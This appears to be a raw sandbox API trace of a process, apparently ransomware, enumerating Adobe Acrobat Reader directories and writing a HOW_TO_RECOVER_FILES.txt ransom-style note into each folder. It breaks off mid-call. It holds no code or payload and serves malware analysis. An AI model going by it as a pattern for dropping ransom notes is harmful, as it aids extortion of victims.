GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev\\cef", nBufferLength=0x105, lpBuffer=0x1fdea2c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev\\cef", lpFilePart=0x0) returned 0x65 [0103.601] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev\\cef\\*", lpFindFileData=0x1fdea540 | out: lpFindFileData=0x1fdea540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0103.601] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.601] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0103.601] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0103.602] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea760) returned 1 [0103.602] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea720) returned 1 [0103.602] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev\\cef\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fdea270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev\\cef\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x7e [0103.602] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea790) returned 1 [0103.602] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev\\cef\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\files\\dev\\cef\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x20c [0103.603] GetFileType (hFile=0x20c) returned 0x1 [0103.603] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea700) returned 1 [0103.603] GetFileType (hFile=0x20c) returned 0x1 [0103.604] WriteFile (in: hFile=0x20c, lpBuffer=0x3256058*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fdea858, lpOverlapped=0x0 | out: lpBuffer=0x3256058*, lpNumberOfBytesWritten=0x1fdea858*=0x5d0, lpOverlapped=0x0) returned 1 [0103.604] CloseHandle (hObject=0x20c) returned 1 [0103.605] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea820) returned 1 [0103.605] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev\\libs", nBufferLength=0x105, lpBuffer=0x1fdea2c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev\\libs", lpFilePart=0x0) returned 0x66 [0103.605] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev\\libs\\*", lpFindFileData=0x1fdea540 | out: lpFindFileData=0x1fdea540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0103.605] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.605] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0103.605] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0103.605] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea760) returned 1 [0103.606] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea720) returned 1 [0103.606] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea820) returned 1 [0103.606] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev\\libs", nBufferLength=0x105, lpBuffer=0x1fdea2c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev\\libs", lpFilePart=0x0) returned 0x66 [0103.606] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev\\libs\\*", lpFindFileData=0x1fdea540 | out: lpFindFileData=0x1fdea540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0103.606] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.606] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0103.606] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0103.606] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea760) returned 1 [0103.606] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea720) returned 1 [0103.606] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev\\libs\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fdea270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev\\libs\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x7f [0103.607] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea790) returned 1 [0103.607] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev\\libs\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\files\\dev\\libs\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x20c [0103.607] GetFileType (hFile=0x20c) returned 0x1 [0103.607] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea700) returned 1 [0103.607] GetFileType (hFile=0x20c) returned 0x1 [0103.608] WriteFile (in: hFile=0x20c, lpBuffer=0x3267a90*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fdea858, lpOverlapped=0x0 | out: lpBuffer=0x3267a90*, lpNumberOfBytesWritten=0x1fdea858*=0x5d0, lpOverlapped=0x0) returned 1 [0103.609] CloseHandle (hObject=0x20c) returned 1 [0103.609] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fdeaca0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x7a [0103.609] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb1c0) returned 1 [0103.609] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\files\\dev\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x20c [0103.609] GetFileType (hFile=0x20c) returned 0x1 [0103.609] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb130) returned 1 [0103.609] GetFileType (hFile=0x20c) returned 0x1 [0103.610] WriteFile (in: hFile=0x20c, lpBuffer=0x326b3c8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fdeb288, lpOverlapped=0x0 | out: lpBuffer=0x326b3c8*, lpNumberOfBytesWritten=0x1fdeb288*=0x5d0, lpOverlapped=0x0) returned 1 [0103.611] CloseHandle (hObject=0x20c) returned 1 [0103.611] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fdeb6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x76 [0103.611] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdebbf0) returned 1 [0103.611] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\files\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x20c [0103.612] GetFileType (hFile=0x20c) returned 0x1 [0103.612] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdebb60) returned 1 [0103.612] GetFileType (hFile=0x20c) returned 0x1 [0103.612] WriteFile (in: hFile=0x20c, lpBuffer=0x326ecf0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fdebcb8, lpOverlapped=0x0 | out: lpBuffer=0x326ecf0*, lpNumberOfBytesWritten=0x1fdebcb8*=0x5d0, lpOverlapped=0x0) returned 1 [0103.613] CloseHandle (hObject=0x20c) returned 1 [0103.613] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fdec100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x70 [0103.613] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec620) returned 1 [0103.613] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x20c [0103.614] GetFileType (hFile=0x20c) returned 0x1 [0103.614] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec590) returned 1 [0103.614] GetFileType (hFile=0x20c) returned 0x1 [0103.615] WriteFile (in: hFile=0x20c, lpBuffer=0x3272608*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fdec6e8, lpOverlapped=0x0 | out: lpBuffer=0x3272608*, lpNumberOfBytesWritten=0x1fdec6e8*=0x5d0, lpOverlapped=0x0) returned 1 [0103.616] CloseHandle (hObject=0x20c) returned 1 [0103.616] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec6b0) returned 1 [0103.616] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images", nBufferLength=0x105, lpBuffer=0x1fdec150, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images", lpFilePart=0x0) returned 0x5a [0103.616] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\*", lpFindFileData=0x1fdec3d0 | out: lpFindFileData=0x1fdec3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0103.618] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.619] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1a85, dwReserved0=0x0, dwReserved1=0x0, cFileName="A12_Spinner.gif", cAlternateFileName="A12_SP~4.GIF")) returned 1 [0103.619] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3b29, dwReserved0=0x0, dwReserved1=0x0, cFileName="A12_Spinner_2x.gif", cAlternateFileName="A12_SP~3.GIF")) returned 1 [0103.619] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1a3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="A12_Spinner_int.gif", cAlternateFileName="A12_SP~1.GIF")) returned 1 [0103.619] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4038, dwReserved0=0x0, dwReserved1=0x0, cFileName="A12_Spinner_int_2x.gif", cAlternateFileName="A12_SP~2.GIF")) returned 1 [0103.620] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xe7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="adc_logo.png", cAlternateFileName="")) returned 1 [0103.620] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x22c, dwReserved0=0x0, dwReserved1=0x0, cFileName="adobe_spinner.gif", cAlternateFileName="ADOBE_~1.GIF")) returned 1 [0103.620] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0x0, dwReserved1=0x0, cFileName="adobe_spinner_mini.gif", cAlternateFileName="ADOBE_~2.GIF")) returned 1 [0103.620] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x12a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="apple-touch-icon-114x114-precomposed.png", cAlternateFileName="APPLE-~2.PNG")) returned 1 [0103.620] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x235b, dwReserved0=0x0, dwReserved1=0x0, cFileName="apple-touch-icon-144x144-precomposed.png", cAlternateFileName="APPLE-~1.PNG")) returned 1 [0103.620] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xac7, dwReserved0=0x0, dwReserved1=0x0, cFileName="apple-touch-icon-57x57-precomposed.png", cAlternateFileName="APPLE-~3.PNG")) returned 1 [0103.620] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xe8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="apple-touch-icon-72x72-precomposed.png", cAlternateFileName="APPLE-~4.PNG")) returned 1 [0103.620] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x84a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ccloud.png", cAlternateFileName="")) returned 1 [0103.621] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee66f38b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee66f38b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3181, dwReserved0=0x0, dwReserved1=0x0, cFileName="ccloud_retina.png", cAlternateFileName="CCLOUD~1.PNG")) returned 1 [0103.621] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x132, dwReserved0=0x0, dwReserved1=0x0, cFileName="close_x.png", cAlternateFileName="")) returned 1 [0103.621] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x7394, dwReserved0=0x0, dwReserved1=0x0, cFileName="core_icons.png", cAlternateFileName="CORE_I~2.PNG")) returned 1 [0103.621] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee66f38b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x104ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="core_icons_retina.png", cAlternateFileName="CORE_I~1.PNG")) returned 1 [0103.621] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x44b, dwReserved0=0x0, dwReserved1=0x0, cFileName="dd_arrow_small.png", cAlternateFileName="DD_ARR~1.PNG")) returned 1 [0103.621] FindNextFileW (in: 